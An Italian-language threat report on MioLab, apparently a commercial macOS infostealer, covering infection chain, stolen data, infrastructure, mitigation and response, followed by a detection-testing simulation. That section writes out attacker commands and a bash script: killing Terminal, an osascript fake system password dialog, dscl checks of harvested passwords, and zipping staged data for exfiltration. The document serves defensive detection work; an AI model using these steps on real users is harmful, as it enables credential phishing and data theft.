Di’ il mio nome: come MioLab sta costruendo un impero di MacOS Stealer

Riepilogo

MioLab è un infostealer macOS distribuito commercialmente, mirato a vittime di alto valore come ingegneri del software, dirigenti e investitori in criptovalute. Si diffonde tramite malvertising e una catena di infezione ClickFix, quindi avvia un compatto binario basato su C che ruba credenziali del browser, registri del gestore di password, file dei portafogli di criptovalute, e dati del Portachiavi di macOS. Le informazioni rubate vengono memorizzate in una directory temporanea, compresse in un archivio ed esfiltrate con una richiesta POST di curl verso un dominio malevolo. L’operazione include anche un pannello di controllo web, supporto proxy e accesso API su misura per grandi gruppi di criminalità informatica.

Indagine

Il rapporto delinea le caratteristiche statiche del malware, il comportamento in esecuzione e l’ampia gamma di fonti dati mirate, tra cui Chrome, Firefox, Safari, Telegram, Discord, Note di Apple e applicazioni di portafogli hardware. L’analisi delle infrastrutture punta a un hosting blindato in Russia, rotazione ripetuta dei domini e un backend condiviso collegato a un’operazione di phishing di token-airdrop Web3. Gli investigatori hanno anche estratto indicatori chiave come linee di comando, percorsi delle cartelle temporanee e URL di esfiltrazione.

Mitigazione

I difensori dovrebbero addestrare gli utenti a riconoscere i falsi prompt delle credenziali, monitorare l’abuso di binari inclusi come dscl, osascript, e curl, bloccare domini malevoli noti, imporre la firma del codice e limitare l’accesso ai dati del profilo del browser e ai file del Portachiavi. La logica di rilevamento dovrebbe anche concentrarsi sui modelli di esecuzione del processo del malware e sul comportamento di staging degli archivi sotto /var/folders.

Risposta

Se MioLab viene rilevato, isolare il Mac infetto, catturare la memoria volatile e gli artefatti del filesystem, bloccare i domini C2 e IP correlati, revocare le credenziali esposte e le chiavi dei portafogli di criptovalute, e eseguire una revisione forense completa di tutte le localizzazioni dei dati target. Il contenuto del rilevamento degli endpoint dovrebbe essere aggiornato con le linee di comando osservate, e i team dovrebbero cacciare catene di infezione simili nell’ambiente.

Esecuzione di simulazione

Prerequisito: Il Controllo Prevolo di Telemetria e Baseline deve essere passato.

Motivo: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione devono riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria attesa dalla logica di rilevamento.

• Narrazione dell’attacco e Comandi:

  1. Terminare la sessione Terminale dell’utente – Il malware disabilita prima il prompt dei comandi standard per costringere l’utente in un flusso UI controllato.

     killall Terminal

  2. Presentare un falso prompt delle credenziali – Utilizzando osascript, l’attaccante mostra un dialogo AppleScript che imita un avviso di impostazioni di sistema, inducendo l’utente a inserire la propria password.

     osascript -e 'display dialog "Devi configurare le impostazioni di sistema prima di eseguire questa applicazione." default answer "" with hidden answer'

  3. Convalidare le credenziali raccolte – La password catturata viene verificata con il servizio di directory locale con dscl . -authonly. Una restituzione riuscita conferma che la credenziale è corretta.

     dscl . -authonly "$USER" "$HARVESTED_PASSWORD"

  4. Preparare e comprimere il payload di esfiltrazione – L’attaccante archivia i dati raccolti (es. ~/.ssh/id_rsa) in un archivio zip usando ditto, preparandolo per il caricamento.

     ditto -c -k --sequesterRsrc /var/folders/*/DataStaging /tmp/exfil.zip

• Script di Test di Regressione: (Bash – esegue la sequenza esatta per attivare la regola)

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Avvio simulazione MioLab..."
  
  # 1. Eliminare Terminale
  echo "[+] Eliminazione Terminale"
  killall Terminal
  
  # 2. Falso prompt di AppleScript (simulato – nessuna interazione utente)
  echo "[+] Visualizzazione falso prompt delle credenziali"
  osascript -e 'display dialog "Devi configurare le impostazioni di sistema prima di eseguire questa applicazione." default answer "" with hidden answer' >/dev/null 2>&1
  
  # 3. Verifica delle credenziali (usando l'utente corrente e una password fittizia)
  echo "[+] Verifica delle credenziali raccolte"
  HARVESTED_PASSWORD="P@ssw0rd!"   # In uno scenario reale questa sarebbe la password rubata
  dscl . -authonly "$USER" "$HARVESTED_PASSWORD" || true   # ignorare il fallimento per dimostrazione
  
  # 4. Staging dati e compressione
  echo "[+] Compressione dei dati messi in staging"
  STAGING_DIR=$(mktemp -d)
  echo "dati di esempio" > "$STAGING_DIR/sample.txt"
  ditto -c -k --sequesterRsrc "$STAGING_DIR" /tmp/exfil.zip
  
  echo "[*] Simulazione completata. Controllare SIEM per avviso."

• Comandi di Pulizia: (Rimuove gli artefatti generati e ripristina la sessione)

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Pulizia degli artefatti della simulazione MioLab..."
  
  # Rimuovere l'archivio zip falso
  rm -f /tmp/exfil.zip
  
  # Rimuovere la directory temporanea di staging se esiste
  [[ -d "$STAGING_DIR" ]] && rm -rf "$STAGING_DIR"
  
  # Opzionalmente riavvia Terminal per l'utente
  open -a Terminal
  
  echo "[*] Pulizia completata."